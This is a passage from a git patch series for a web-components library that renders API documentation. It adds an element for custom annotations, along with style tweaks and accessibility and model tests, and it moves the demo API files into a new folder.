    + `; + } + + /** + * @param {string} name + * @param {ApiScalarNode} scalar + * @returns {TemplateResult} The template for the custom property. + */ + [scalarTemplate](name, scalar) { + const content = html`${this[scalarValue](scalar)}`; + return this[annotationWrapperTemplate](name, content); + } + + /** + * @param {string} name + * @param {ApiObjectNode} object + * @returns {TemplateResult} The template for the custom property. + */ + [objectTemplate](name, object) { + const { properties={} } = object; + const content = Object.keys(properties).map((key) => { + const value = properties[key]; + const { types } = value; + if (types.includes(ns.aml.vocabularies.data.Scalar)) { + return this[objectScalarPropertyTemplate](key, value); + } + return key; + }); + return this[annotationWrapperTemplate](name, content); + } + + /** + * @param {string} name + * @param {ApiScalarNode} scalar + * @returns {TemplateResult} The template for the custom property. + */ + [objectScalarPropertyTemplate](name, scalar) { + const value = this[scalarValue](scalar); + return html` +
    + ${name} + ${value} +
    + `; + } +} diff --git a/src/elements/ApiDocumentationBase.d.ts b/src/elements/ApiDocumentationBase.d.ts index c0dff90..aecd830 100644 --- a/src/elements/ApiDocumentationBase.d.ts +++ b/src/elements/ApiDocumentationBase.d.ts @@ -1,6 +1,6 @@ /* eslint-disable class-methods-use-this */ import { LitElement, TemplateResult } from 'lit-element'; -import { AmfHelperMixin, AmfSerializer, DomainElement, ApiParameter } from '@api-components/amf-helper-mixin'; +import { AmfHelperMixin, AmfSerializer, DomainElement, ApiParameter, ApiCustomDomainProperty } from '@api-components/amf-helper-mixin'; export declare const sectionToggleClickHandler: unique symbol; export declare const queryDebounce: unique symbol; @@ -12,6 +12,7 @@ export declare const sectionToggleTemplate: unique symbol; export declare const paramsSectionTemplate: unique symbol; export declare const schemaItemTemplate: unique symbol; export declare const descriptionTemplate: unique symbol; +export declare const customDomainPropertiesTemplate: unique symbol; /** * A base class for the documentation components with common templates and functions. @@ -81,4 +82,9 @@ export class ApiDocumentationBase extends AmfHelperMixin(LitElement) { * @returns The template for the markdown description. */ [descriptionTemplate](description: string): TemplateResult|string; + /** + * @param customDomainProperties + * @returns The template for the custom domain properties + */ + [customDomainPropertiesTemplate](customDomainProperties: ApiCustomDomainProperty[]): TemplateResult|string; } diff --git a/src/elements/ApiDocumentationBase.js b/src/elements/ApiDocumentationBase.js index 37c8b84..fd5041a 100644 --- a/src/elements/ApiDocumentationBase.js +++ b/src/elements/ApiDocumentationBase.js @@ -1,3 +1,4 @@ +/* eslint-disable lit-a11y/click-events-have-key-events */ /* eslint-disable class-methods-use-this */ import { LitElement, html } from 'lit-element'; import { classMap } from 'lit-html/directives/class-map.js'; @@ -5,11 +6,13 @@ import { AmfHelperMixin, AmfSerializer } from '@api-components/amf-helper-mixin' import '@anypoint-web-components/anypoint-button/anypoint-button.js'; import '@anypoint-web-components/anypoint-collapse/anypoint-collapse.js'; import '@advanced-rest-client/arc-icons/arc-icon.js'; +import '../../api-annotation-document.js'; /** @typedef {import('lit-element').TemplateResult} TemplateResult */ /** @typedef {import('@api-components/amf-helper-mixin').AmfDocument} AmfDocument */ /** @typedef {import('@api-components/amf-helper-mixin').DomainElement} DomainElement */ /** @typedef {import('@api-components/amf-helper-mixin').ApiParameter} ApiParameter */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiCustomDomainProperty} ApiCustomDomainProperty */ export const sectionToggleClickHandler = Symbol('sectionToggleClickHandler'); export const processDebounce = Symbol('queryDebounce'); @@ -22,6 +25,7 @@ export const descriptionTemplate = Symbol('descriptionTemplate'); export const sectionToggleTemplate = Symbol('sectionToggleTemplate'); export const paramsSectionTemplate = Symbol('paramsSectionTemplate'); export const schemaItemTemplate = Symbol('schemaItemTemplate'); +export const customDomainPropertiesTemplate = Symbol('customDomainPropertiesTemplate'); /** * A base class for the documentation components with common templates and functions. */ @@ -170,16 +174,8 @@ export class ApiDocumentationBase extends AmfHelperMixin(LitElement) { */ [sectionToggleTemplate](ctrlProperty) { const label = this[ctrlProperty] ? 'Hide' : 'Show'; - const classes = { - 'section-toggle': true, - opened: this[ctrlProperty], - }; return html` - + ${label} `; @@ -193,9 +189,17 @@ export class ApiDocumentationBase extends AmfHelperMixin(LitElement) { */ [paramsSectionTemplate](label, openedProperty, content) { const opened = this[openedProperty]; + const classes = { + 'params-title': true, + opened, + }; return html`
    -
    +
    ${label} ${this[sectionToggleTemplate](openedProperty)}
    @@ -235,4 +239,19 @@ export class ApiDocumentationBase extends AmfHelperMixin(LitElement) {
    `; } + + /** + * @param {ApiCustomDomainProperty[]} customDomainProperties + * @returns {TemplateResult|string} The template for the custom domain properties + */ + [customDomainPropertiesTemplate](customDomainProperties=[]) { + if (!customDomainProperties.length) { + return ''; + } + return html` + + `; + } } diff --git a/src/elements/ApiDocumentationDocumentElement.js b/src/elements/ApiDocumentationDocumentElement.js index 11f3905..b372137 100644 --- a/src/elements/ApiDocumentationDocumentElement.js +++ b/src/elements/ApiDocumentationDocumentElement.js @@ -20,7 +20,7 @@ export const setModel = Symbol('setModel'); * the AMF graph model. */ export default class ApiDocumentationDocumentElement extends ApiDocumentationBase { - static get styles() { + get styles() { return [elementStyles, commonStyles, HttpStyles.default, MarkdownStyles]; } @@ -75,6 +75,7 @@ export default class ApiDocumentationDocumentElement extends ApiDocumentationBas return html``; } return html` + ${this[titleTemplate]()} ${this[descriptionTemplate](this[documentationValue].description)} `; diff --git a/src/elements/ApiOperationDocumentElement.js b/src/elements/ApiOperationDocumentElement.js index c0c159d..082182b 100644 --- a/src/elements/ApiOperationDocumentElement.js +++ b/src/elements/ApiOperationDocumentElement.js @@ -14,6 +14,7 @@ import { paramsSectionTemplate, descriptionTemplate, serializerValue, + customDomainPropertiesTemplate, } from './ApiDocumentationBase.js'; import { tablePropertyTemplate } from './SchemaCommonTemplates.js'; import schemaStyles from './styles/SchemaCommon.js'; @@ -379,6 +380,7 @@ export default class ApiOperationDocumentElement extends ApiDocumentationBase { ${this[deprecatedTemplate]()} ${this[descriptionTemplate](this[operationValue].description)} ${this[metaDataTemplate]()} + ${this[customDomainPropertiesTemplate](this[operationValue].customDomainProperties)} ${this[urlTemplate]()} ${this[requestTemplate]()} ${this[callbacksTemplate]()} diff --git a/src/elements/ApiParameterDocumentElement.js b/src/elements/ApiParameterDocumentElement.js index 73e591d..68685e4 100644 --- a/src/elements/ApiParameterDocumentElement.js +++ b/src/elements/ApiParameterDocumentElement.js @@ -27,7 +27,7 @@ export const typeLabelValue = Symbol('typeLabelValue'); * A web component that renders the documentation for a single request / response parameter. */ export default class ApiParameterDocumentElement extends ApiDocumentationBase { - static get styles() { + get styles() { return [MarkdownStyles, commonStyles, schemaStyles, elementStyles]; } @@ -103,6 +103,7 @@ export default class ApiParameterDocumentElement extends ApiDocumentationBase { const type = this[typeLabelValue]; const schema = this[schemaValue]; return html` +
    ${paramNameTemplate(name, required)} diff --git a/src/elements/ApiParametrizedSecuritySchemeElement.js b/src/elements/ApiParametrizedSecuritySchemeElement.js index d567892..f7c111a 100644 --- a/src/elements/ApiParametrizedSecuritySchemeElement.js +++ b/src/elements/ApiParametrizedSecuritySchemeElement.js @@ -19,8 +19,8 @@ export const settingsValue = Symbol('settingsValue'); export const mergeSettings = Symbol('mergeSettings'); export default class ApiParametrizedSecuritySchemeElement extends ApiSecurityDocumentElement { - static get styles() { - return [...ApiSecurityDocumentElement.styles, elementStyles]; + get styles() { + return [...super.styles, elementStyles]; } /** diff --git a/src/elements/ApiPayloadDocumentElement.js b/src/elements/ApiPayloadDocumentElement.js index ef8c911..de69250 100644 --- a/src/elements/ApiPayloadDocumentElement.js +++ b/src/elements/ApiPayloadDocumentElement.js @@ -24,7 +24,7 @@ export const nameTemplate = Symbol('nameTemplate'); export const schemaTemplate = Symbol('schemaTemplate'); export default class ApiPayloadDocumentElement extends ApiDocumentationBase { - static get styles() { + get styles() { return [commonStyles, elementStyles]; } @@ -93,6 +93,7 @@ export default class ApiPayloadDocumentElement extends ApiDocumentationBase { } // todo: render examples for the payload. return html` + ${this[nameTemplate]()} ${this[mediaTypeTemplate]()} ${this[schemaTemplate]()} diff --git a/src/elements/ApiRequestDocumentElement.js b/src/elements/ApiRequestDocumentElement.js index 209b535..f144f15 100644 --- a/src/elements/ApiRequestDocumentElement.js +++ b/src/elements/ApiRequestDocumentElement.js @@ -44,7 +44,7 @@ export const queryStringTemplate = Symbol('queryStringTemplate'); * A web component that renders the documentation page for an API request object. */ export default class ApiRequestDocumentElement extends ApiDocumentationBase { - static get styles() { + get styles() { return [commonStyles, elementStyles]; } @@ -244,6 +244,7 @@ export default class ApiRequestDocumentElement extends ApiDocumentationBase { return html``; } return html` + ${this[descriptionTemplate](request.description)} ${this[queryParamsTemplate]()} ${this[queryStringTemplate]()} diff --git a/src/elements/ApiResourceDocumentationElement.js b/src/elements/ApiResourceDocumentationElement.js index 69e013c..60e24e1 100644 --- a/src/elements/ApiResourceDocumentationElement.js +++ b/src/elements/ApiResourceDocumentationElement.js @@ -9,6 +9,7 @@ import { schemaItemTemplate, descriptionTemplate, serializerValue, + customDomainPropertiesTemplate, } from './ApiDocumentationBase.js'; import '../../api-operation-document.js' import '../../api-parameter-document.js'; @@ -44,7 +45,7 @@ export const processServerSelection = Symbol('processServerSelection'); * @fires tryit */ export default class ApiResourceDocumentationElement extends ApiDocumentationBase { - static get styles() { + get styles() { return [elementStyles, commonStyles, MarkdownStyles]; } @@ -311,8 +312,10 @@ export default class ApiResourceDocumentationElement extends ApiDocumentationBas return html``; } return html` + ${this[titleTemplate]()} ${this[descriptionTemplate](this[endpointValue].description)} + ${this[customDomainPropertiesTemplate](this[endpointValue].customDomainProperties)} ${this[urlTemplate]()} ${this[parametersTemplate]()} ${this[operationsTemplate]()} diff --git a/src/elements/ApiResponseDocumentElement.js b/src/elements/ApiResponseDocumentElement.js index 3ce1aa6..6a00181 100644 --- a/src/elements/ApiResponseDocumentElement.js +++ b/src/elements/ApiResponseDocumentElement.js @@ -40,7 +40,7 @@ export const mediaTypeSelectHandler = Symbol('mediaTypeSelectHandler'); * A web component that renders the documentation page for an API response object. */ export default class ApiResponseDocumentElement extends ApiDocumentationBase { - static get styles() { + get styles() { return [commonStyles, elementStyles, MarkdownStyles]; } @@ -163,6 +163,7 @@ export default class ApiResponseDocumentElement extends ApiDocumentationBase { return html``; } return html` + ${this[descriptionTemplate](this[responseValue].description)} ${this[headersTemplate]()} ${this[payloadTemplate]()} diff --git a/src/elements/ApiSchemaDocumentElement.js b/src/elements/ApiSchemaDocumentElement.js index 878858a..054ed89 100644 --- a/src/elements/ApiSchemaDocumentElement.js +++ b/src/elements/ApiSchemaDocumentElement.js @@ -84,7 +84,7 @@ const complexTypes = [ ]; export default class ApiSchemaDocumentElement extends ApiDocumentationBase { - static get styles() { + get styles() { return [commonStyles, schemaStyles, elementStyles, MarkdownStyles]; } @@ -390,6 +390,7 @@ export default class ApiSchemaDocumentElement extends ApiDocumentationBase { return html``; } return html` + ${this[titleTemplate]()} ${this[descriptionTemplate](schema.description)} ${this[examplesTemplate]()} diff --git a/src/elements/ApiSecurityDocumentElement.js b/src/elements/ApiSecurityDocumentElement.js index 9f15fa7..50d725b 100644 --- a/src/elements/ApiSecurityDocumentElement.js +++ b/src/elements/ApiSecurityDocumentElement.js @@ -69,7 +69,7 @@ export const computeReferenceSecurity = Symbol('computeReferenceSecurity'); * A web component that renders the documentation page for an API response object. */ export default class ApiSecurityDocumentElement extends ApiDocumentationBase { - static get styles() { + get styles() { return [commonStyles, elementStyles, MarkdownStyles, schemaStyles]; } @@ -283,6 +283,7 @@ export default class ApiSecurityDocumentElement extends ApiDocumentationBase { return html``; } return html` + ${this[titleTemplate]()} ${this[descriptionTemplate](scheme.description)} ${this[queryParamsTemplate]()} diff --git a/src/elements/styles/ApiAnnotation.js b/src/elements/styles/ApiAnnotation.js new file mode 100644 index 0000000..f64fe30 --- /dev/null +++ b/src/elements/styles/ApiAnnotation.js @@ -0,0 +1,32 @@ +import { css } from 'lit-element'; + +export default css` +:host { + display: block; + color: var(--api-annotation-document-color, #616161); +} + +:host([hidden]) { + display: none; +} + +.custom-property { + border-left: 3px var(--api-annotation-accent-color, #1976D2) solid; + border-radius: 2px; + background-color: var(--api-annotation-background-color, #F5F7F9); + padding: 16px 0; + margin: 20px 0; + display: flex; +} + +.name { + font-weight: 500; +} + +.info-icon { + margin: 0 12px; + fill: var(--api-annotation-accent-color, #1976D2); + width: 24px; + height: 24px; +} +`; diff --git a/src/elements/styles/ApiDocumentationDocument.js b/src/elements/styles/ApiDocumentationDocument.js index b5b1504..5bf8a16 100644 --- a/src/elements/styles/ApiDocumentationDocument.js +++ b/src/elements/styles/ApiDocumentationDocument.js @@ -12,8 +12,15 @@ export default css` } .documentation-title .label { - font-size: var(--documentation-title-size, 32px); - font-weight: var(--documentation-title-weight, 400); + font-size: var(--documentation-title-size, var(--arc-font-headline-font-size, 32px)); + font-weight: var(--documentation-title-weight, var(--arc-font-headline-font-weight, 400)); + letter-spacing: var(--documentation-title-letter-spacing, var(--arc-font-headline-letter-spacing, initial)); + line-height: var(--documentation-title-line-height, var(--arc-font-headline-line-height, initial)); margin: 12px 0px; } + +arc-marked { + background-color: transparent; + padding: 0; +} `; diff --git a/src/elements/styles/Common.js b/src/elements/styles/Common.js index eaf7f59..c054754 100644 --- a/src/elements/styles/Common.js +++ b/src/elements/styles/Common.js @@ -49,13 +49,24 @@ export default css` display: flex; align-items: center; flex-direction: row; - border-bottom: 1px var(--operation-params-title-border-color, #D6D6D6) solid; + border-bottom: 1px var(--operation-params-title-border-color, var(--api-parameters-document-title-border-color, #D6D6D6)) solid; + cursor: default; + user-select: none; + transition: border-bottom-color 0.15s ease-in-out; +} + +.params-title.opened { + border-bottom-color: transparent; } .params-title .label { - font-size: var(--operation-params-title-size, 22px); - font-weight: var(--operation-params-title-weight, 400); margin: 20px 0; + /* This is for compatibility with the old components. */ + font-family: var(--operation-params-title-font-family, var(--api-parameters-document-h3-font-family, var(--arc-font-subhead-font-family))); + font-size: var(--operation-params-title-size, var(--api-parameters-document-h3-font-size, var(--arc-font-subhead-font-size, 22px))); + font-weight: var(--operation-params-title-weight, var(--api-parameters-document-h3-font-weight, var(--arc-font-subhead-font-weight, 400))); + line-height: var(--operation-params-title-line-height, var(--api-parameters-document-h3-line-height, var(--arc-font-subhead-line-height, initial))); + color: var(--operation-params-title-color, var(--api-parameters-document-h3-font-color, var(--arc-font-subhead-color, initial))); } .section-toggle { diff --git a/test/AmfLoader.js b/test/AmfLoader.js index 46628a8..d6def35 100644 --- a/test/AmfLoader.js +++ b/test/AmfLoader.js @@ -33,7 +33,7 @@ export class AmfLoader extends AmfHelperMixin(Object) { async getGraph(compact=false, fileName='demo-api') { const suffix = compact ? '-compact' : ''; const file = `${fileName}${suffix}.json`; - const url = `${window.location.protocol}//${window.location.host}/demo/${file}`; + const url = `${window.location.protocol}//${window.location.host}/demo/apis/${file}`; const response = await fetch(url); if (!response.ok) { throw new Error('Unable to download API data model'); @@ -205,11 +205,12 @@ export class AmfLoader extends AmfHelperMixin(Object) { * @returns {Shape} */ lookupShape(model, name) { - this.amf = model; - const webApi = this._hasType(model, this.ns.aml.vocabularies.document.Document) ? - this._computeApi(model) : - model; - const declares = this._computeDeclares(webApi) || []; + let amf = model; + if (Array.isArray(amf)) { + [amf] = amf; + } + this.amf = amf; + const declares = (this._computeDeclares(amf) || []); let shape = declares.find((item) => { if (Array.isArray(item)) { [item] = item; diff --git a/test/elements/ApiAnnotationDocumentElement.test.js b/test/elements/ApiAnnotationDocumentElement.test.js new file mode 100644 index 0000000..085e0e0 --- /dev/null +++ b/test/elements/ApiAnnotationDocumentElement.test.js @@ -0,0 +1,130 @@ +import { fixture, assert, nextFrame, html } from '@open-wc/testing'; +import { AmfLoader } from '../AmfLoader.js'; +import '../../api-annotation-document.js'; + +/** @typedef {import('../../').ApiAnnotationDocumentElement} ApiAnnotationDocumentElement */ +/** @typedef {import('@api-components/amf-helper-mixin').AmfDocument} AmfDocument */ +/** @typedef {import('@api-components/amf-helper-mixin').DomainElement} DomainElement */ + +describe('ApiAnnotationDocumentElement', () => { + const loader = new AmfLoader(); + const apiFile = 'annotated-api'; + /** + * @param {AmfDocument} amf + * @param {DomainElement=} shape + * @returns {Promise} + */ + async function basicFixture(amf, shape) { + return fixture(html``); + } + + describe('a11y', () => { + /** @type ApiAnnotationDocumentElement */ + let element; + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(true, apiFile); + }); + + beforeEach(async () => { + const shape = loader.lookupShape(model, 'ComplexAnnotations'); + element = await basicFixture(model, shape); + await nextFrame(); + }); + + it('is accessible', async () => { + await assert.isAccessible(element); + }); + }); + + [false, true].forEach((compact) => { + describe(compact ? 'Compact model' : 'Full model', () => { + describe('Model computations', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact, apiFile); + }); + + /** @type ApiAnnotationDocumentElement */ + let element; + beforeEach(async () => { + element = await basicFixture(model); + }); + + it('computes hasCustomProperties when no annotations', () => { + const shape = loader.lookupShape(model, 'NoAnnotations'); + element.shape = shape; + assert.isFalse(element.hasCustomProperties); + }); + + it('computes hasCustomProperties when has the annotations', () => { + const shape = loader.lookupShape(model, 'ComboType'); + element.shape = shape; + assert.isTrue(element.hasCustomProperties); + }); + + it('computes the list of annotations', () => { + const shape = loader.lookupShape(model, 'ComboType'); + element.shape = shape; + assert.typeOf(element.customProperties, 'array'); + assert.lengthOf(element.customProperties, 3); + }); + + it('renders a nil annotation', async () => { + const shape = loader.lookupShape(model, 'notRequiredRepeatable'); + element.shape = shape; + await nextFrame(); + const node = element.shadowRoot.querySelectorAll('.custom-property')[0]; + assert.ok(node, 'Annotation container is rendered'); + const label = /** @type HTMLElement */ (node.querySelector('.name')); + assert.ok(label, 'Annotation label is rendered'); + const labelValue = label.innerText.toLowerCase(); + assert.equal(labelValue, 'annotationtest'); + }); + + // APIMF-1710 + it.skip('does not render a value for a nil annotation', async () => { + const shape = loader.lookupShape(model, 'notRequiredRepeatable'); + element.shape = shape; + await nextFrame(); + const node = element.shadowRoot.querySelector('.custom-property'); + assert.ok(node, 'Annotation container is rendered'); + const value = node.querySelector('.scalar-value'); + assert.notOk(value, 'Annotation value is not rendered'); + }); + + it('renders a scalar annotation', async () => { + const shape = loader.lookupShape(model, 'ErrorResource'); + element.shape = shape; + await nextFrame(); + const node = element.shadowRoot.querySelector('.custom-property'); + assert.ok(node, 'Annotation container is rendered'); + const label = /** @type HTMLElement */ (node.querySelector('.name')); + assert.ok(label, 'Annotation label is rendered'); + const labelValue = label.innerText.toLowerCase(); + assert.equal(labelValue, 'deprecated'); + const value = node.querySelector('.scalar-value'); + assert.ok(value, 'Annotation value is rendered'); + const scalarList = node.querySelectorAll('.scalar-value'); + assert.equal(scalarList.length, 1, 'Scalar value is rendered'); + }); + + it('renders a complex annotation', async () => { + const shape = loader.lookupShape(model, 'ComplexAnnotations'); + element.shape = shape; + await nextFrame(); + const node = element.shadowRoot.querySelector('.custom-property'); + assert.ok(node, 'Annotation container is rendered'); + const label = /** @type HTMLElement */ (node.querySelector('.name')); + assert.ok(label, 'Annotation label is rendered'); + const labelValue = label.innerText.toLowerCase(); + assert.equal(labelValue, 'clearancelevel'); + const objectNodes = node.querySelectorAll('.object-property'); + assert.equal(objectNodes.length, 2, 'has all properties rendered'); + }); + }); + }); + }); +}); diff --git a/web-test-runner.config.mjs b/web-test-runner.config.mjs index 3a009b1..2d47020 100644 --- a/web-test-runner.config.mjs +++ b/web-test-runner.config.mjs @@ -9,11 +9,4 @@ export default { return next(); } ], - testRunnerHtml: (testFramework) => - ` - - - - - ` }; From 23fe77594e927dbf612d929d6834634c4464becf Mon Sep 17 00:00:00 2001 From: Pawel Psztyc Date: Tue, 28 Sep 2021 16:30:15 -0700 Subject: [PATCH 06/24] chore: moving APIs to another folder Signed-off-by: Pawel Psztyc --- .gitignore | 2 +- demo/api-annotation.js | 2 +- demo/api-channel.js | 2 +- demo/api-documentation.js | 4 ++-- demo/api-operation.js | 2 +- demo/api-resource.js | 2 +- demo/api-security-documentation.js | 2 +- demo/{ => apis}/APIC-15/APIC-15.raml | 0 .../{ => apis}/APIC-15/data-types/organization-data-type.raml | 0 .../examples/organization/organization-array-response.raml | 0 .../organization/organization-individual-response.raml | 0 demo/{ => apis}/APIC-390/APIC-390.raml | 0 demo/{ => apis}/APIC-390/Types/ISO-standards.raml | 0 demo/{ => apis}/APIC-553/APIC-553.raml | 0 demo/{ => apis}/APIC-560/APIC-560.yaml | 0 demo/{ => apis}/APIC-582/APIC-582.yaml | 0 demo/{ => apis}/APIC-650/APIC-650.yaml | 0 demo/{ => apis}/APIC-650/common-parameters.yaml | 0 demo/{ => apis}/APIC-711/APIC-711.raml | 0 ...chase-Order-oagis-id-dd32f9c6c01048a19e15c423c9c741ae.json | 0 demo/{ => apis}/SE-10469/SE-10469.raml | 0 demo/{ => apis}/SE-11415/SE-11415.raml | 0 demo/{ => apis}/SE-11415/canda-commons/canda-commons.raml | 0 .../SE-11415/canda-commons/ref/log-levels-example.json | 0 .../canda-commons/ref/log-levels-response-example.json | 0 .../canda-commons/ref/log-levels-response-schema.json | 0 .../SE-11415/canda-commons/ref/log-levels-schema.json | 0 demo/{ => apis}/SE-11415/ref/additions-example.json | 0 demo/{ => apis}/SE-11415/ref/additions-schema.json | 0 demo/{ => apis}/SE-11415/ref/companies-example.json | 0 demo/{ => apis}/SE-11415/ref/companies-schema.json | 0 demo/{ => apis}/SE-11415/ref/greeting-example.json | 0 demo/{ => apis}/SE-11415/ref/greeting-schema.json | 0 demo/{ => apis}/SE-11415/ref/greetings-example.json | 0 demo/{ => apis}/SE-11415/ref/greetings-schema.json | 0 .../{ => apis}/SE-11415/ref/jms-message-response-exmaple.json | 0 demo/{ => apis}/SE-11415/ref/log-levels-example.json | 0 demo/{ => apis}/SE-11415/ref/log-levels-response-example.json | 0 demo/{ => apis}/SE-11415/ref/log-levels-response-schema.json | 0 demo/{ => apis}/SE-11415/ref/log-levels-schema.json | 0 demo/{ => apis}/SE-12752/SE-12752.raml | 0 demo/{ => apis}/SE-12957/SE-12957.json | 0 demo/{ => apis}/SE-12959/SE-12959.json | 0 demo/{ => apis}/Streetlights/Streetlights.yaml | 0 demo/{ => apis}/annotated-api/annotated-api.raml | 0 demo/{ => apis}/api-keys/api-keys.yaml | 0 demo/{ => apis}/appian-api/appian-api.raml | 0 demo/{ => apis}/array-body/array-body.raml | 0 demo/{ => apis}/async-api/async-api.yaml | 0 demo/{ => apis}/demo-api/demo-api.raml | 0 demo/{ => apis}/demo-api/examples/e400.xml | 0 demo/{ => apis}/demo-api/examples/e401.xml | 0 demo/{ => apis}/demo-api/examples/e404.xml | 0 demo/{ => apis}/demo-api/examples/image.xml | 0 demo/{ => apis}/demo-api/examples/messages-example.json | 0 demo/{ => apis}/demo-api/examples/messages-sent-example.json | 0 demo/{ => apis}/demo-api/examples/person.json | 0 demo/{ => apis}/demo-api/examples/person.url.encoded | 0 demo/{ => apis}/demo-api/examples/person.xml | 0 demo/{ => apis}/demo-api/examples/product.xml | 0 demo/{ => apis}/demo-api/library.raml | 0 demo/{ => apis}/demo-api/resourceTypes/app-person.raml | 0 demo/{ => apis}/demo-api/resourceTypes/example-types.raml | 0 demo/{ => apis}/demo-api/resourceTypes/image.raml | 0 demo/{ => apis}/demo-api/resourceTypes/message-sent-type.raml | 0 demo/{ => apis}/demo-api/resourceTypes/message-type.raml | 0 demo/{ => apis}/demo-api/resourceTypes/product.raml | 0 demo/{ => apis}/demo-api/resourceTypes/resource.raml | 0 demo/{ => apis}/demo-api/schemas/error-response.xsd | 0 demo/{ => apis}/demo-api/schemas/image.xsd | 0 demo/{ => apis}/demo-api/schemas/person.json | 0 demo/{ => apis}/demo-api/schemas/person.xsd | 0 demo/{ => apis}/demo-api/schemas/product.xsd | 0 demo/{ => apis}/demo-api/securitySchemes/basic.raml | 0 demo/{ => apis}/demo-api/securitySchemes/oauth_2_0.raml | 0 demo/{ => apis}/demo-api/securitySchemes/x-custom.raml | 0 demo/{ => apis}/demo-api/traits/adminable.raml | 0 demo/{ => apis}/demo-api/traits/pagination.raml | 0 .../documentation-fragment/documentation-fragment.raml | 0 demo/{ => apis}/documented-api/documented-api.raml | 0 demo/{ => apis}/example-fragment/example-fragment.raml | 0 demo/{ => apis}/google-drive-api/docs/api/headline.md | 0 demo/{ => apis}/google-drive-api/docs/search-for-file.md | 0 demo/{ => apis}/google-drive-api/docs/upload-files.md | 0 demo/{ => apis}/google-drive-api/docs/uploadApi/headline.md | 0 demo/{ => apis}/google-drive-api/docs/work-with-folders.md | 0 demo/{ => apis}/google-drive-api/examples/about-example.json | 0 demo/{ => apis}/google-drive-api/examples/app-example.json | 0 .../google-drive-api/examples/app-list-example.json | 0 demo/{ => apis}/google-drive-api/examples/change-example.json | 0 .../google-drive-api/examples/changeList-example.json | 0 .../{ => apis}/google-drive-api/examples/channel-example.json | 0 .../google-drive-api/examples/childList-example.json | 0 .../google-drive-api/examples/childReference-example.json | 0 .../{ => apis}/google-drive-api/examples/comment-example.json | 0 .../examples/comment-reply-update-response.json | 0 .../examples/commentCreateRequest-example.json | 0 .../google-drive-api/examples/commentList-example.json | 0 .../google-drive-api/examples/commentReply-example.json | 0 .../google-drive-api/examples/commentReplyList-example.json | 0 .../examples/commentReplyRequest-example.json | 0 demo/{ => apis}/google-drive-api/examples/file-example.json | 0 .../google-drive-api/examples/fileList-example.json | 0 .../google-drive-api/examples/newFileRequest-example.json | 0 .../google-drive-api/examples/parentList-example.json | 0 .../google-drive-api/examples/parentReference-example.json | 0 .../google-drive-api/examples/permission-example.json | 0 .../google-drive-api/examples/permissionId-example.json | 0 .../google-drive-api/examples/permissionList-example.json | 0 .../google-drive-api/examples/permissionRequest-example.json | 0 .../examples/permissionUpdateRequest-example.json | 0 .../google-drive-api/examples/property-example.json | 0 .../google-drive-api/examples/propertyList-example.json | 0 .../google-drive-api/examples/revision-example.json | 0 .../google-drive-api/examples/revisionList-example.json | 0 .../examples/revisionUpdateRequest-example.json | 0 .../examples/stopWatchingRequest-example.json | 0 .../google-drive-api/examples/watchRequest-example.json | 0 demo/{ => apis}/google-drive-api/google-drive-api.raml | 0 demo/{ => apis}/google-drive-api/libraries/about-lib.raml | 0 demo/{ => apis}/google-drive-api/libraries/annotations.raml | 0 demo/{ => apis}/google-drive-api/libraries/app-lib.raml | 0 demo/{ => apis}/google-drive-api/libraries/child-lib.raml | 0 demo/{ => apis}/google-drive-api/libraries/comment-lib.raml | 0 demo/{ => apis}/google-drive-api/libraries/file-lib.raml | 0 demo/{ => apis}/google-drive-api/libraries/parent-lib.raml | 0 .../{ => apis}/google-drive-api/libraries/permission-lib.raml | 0 .../{ => apis}/google-drive-api/libraries/properties-lib.raml | 0 demo/{ => apis}/google-drive-api/libraries/revision-lib.raml | 0 demo/{ => apis}/google-drive-api/libraries/watch-lib.raml | 0 .../google-drive-api/securitySchemes/oauth_2_0.raml | 0 demo/{ => apis}/google-drive-api/traits/file.raml | 0 demo/{ => apis}/google-drive-api/traits/results.raml | 0 demo/{ => apis}/google-drive-api/traits/visibility.raml | 0 .../google-drive-api/types/additional-role-info.raml | 0 demo/{ => apis}/google-drive-api/types/channels-stop.raml | 0 demo/{ => apis}/google-drive-api/types/export-format.raml | 0 demo/{ => apis}/google-drive-api/types/feature.raml | 0 demo/{ => apis}/google-drive-api/types/file-capabilities.raml | 0 demo/{ => apis}/google-drive-api/types/file-labels.raml | 0 demo/{ => apis}/google-drive-api/types/icon.raml | 0 demo/{ => apis}/google-drive-api/types/import-format.raml | 0 demo/{ => apis}/google-drive-api/types/new-drive-file.raml | 0 demo/{ => apis}/google-drive-api/types/owners.raml | 0 demo/{ => apis}/google-drive-api/types/picture.raml | 0 demo/{ => apis}/google-drive-api/types/property.raml | 0 demo/{ => apis}/google-drive-api/types/resource.raml | 0 demo/{ => apis}/google-drive-api/types/role-set.raml | 0 demo/{ => apis}/google-drive-api/types/service-quota.raml | 0 demo/{ => apis}/google-drive-api/types/standard-request.raml | 0 demo/{ => apis}/google-drive-api/types/team-drive-list.raml | 0 demo/{ => apis}/google-drive-api/types/team-drive.raml | 0 demo/{ => apis}/google-drive-api/types/thumbnail.raml | 0 demo/{ => apis}/google-drive-api/types/upload-size.raml | 0 demo/{ => apis}/google-drive-api/types/user.raml | 0 demo/{ => apis}/lib-fragment/lib-fragment.raml | 0 demo/{ => apis}/multi-server/multi-server.yaml | 0 demo/{ => apis}/nexmo-sms-api/nexmo-sms-api.raml | 0 demo/{ => apis}/oas-bearer/oas-bearer.yaml | 0 demo/{ => apis}/oas-callbacks/oas-callbacks.yaml | 0 demo/{ => apis}/oauth-flows/oauth-flows.yaml | 0 demo/{ => apis}/oauth-pkce/oauth-2-pkce.raml | 0 demo/{ => apis}/oauth-pkce/oauth-pkce.raml | 0 demo/{ => apis}/oauth1-fragment/oauth1-fragment.raml | 0 demo/{ => apis}/oauth2-fragment/oauth2-fragment.raml | 0 demo/{ => apis}/partial-model/documentation.json | 0 demo/{ => apis}/partial-model/endpoint.json | 0 demo/{ => apis}/partial-model/security.json | 0 demo/{ => apis}/partial-model/type.json | 0 demo/{ => apis}/secured-api/oauth-2-custom-settings.raml | 0 demo/{ => apis}/secured-api/oauth2-header-delivery.raml | 0 demo/{ => apis}/secured-api/oauth2-no-delivery.raml | 0 demo/{ => apis}/secured-api/oauth2-no-grants.raml | 0 demo/{ => apis}/secured-api/oauth2-pkce.raml | 0 demo/{ => apis}/secured-api/oauth2-query-delivery.raml | 0 demo/{ => apis}/secured-api/oauth_1_0.raml | 0 demo/{ => apis}/secured-api/oauth_1_0_no-settings.raml | 0 demo/{ => apis}/secured-api/oauth_1_0_no-signature.raml | 0 demo/{ => 